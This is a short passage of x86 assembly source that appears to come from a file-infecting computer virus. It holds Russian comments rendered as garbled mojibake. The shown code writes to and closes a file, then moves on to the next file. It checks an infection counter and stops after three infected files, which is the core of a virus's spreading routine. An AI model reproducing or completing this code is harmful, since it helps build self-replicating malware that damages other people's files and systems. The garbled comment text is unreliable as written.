push dword ptr [ebp+offset ahand]

call WriteFile

;Π—Π°ΠΊΡ€ΠΎΠ΅ΠΌ Ρ„Π°ΠΉΠ»

notape:

push dword ptr [ebp+offset ahand]

call CloseFile

;ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌΡƒ Ρ„Π°ΠΉΠ»Ρƒ

findnextone:

;ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ, сколько Ρ„Π°ΠΉΠ»ΠΎΠ² Π·Π°Ρ€Π°Π·ΠΈΠ»ΠΈ: Ссли 3,

;Ρ‚ΠΎ Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΠΌ, Ссли мСньшС – ΠΈΡ‰Π΅ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ

cmp byte ptr [ebp+offset countinfect],3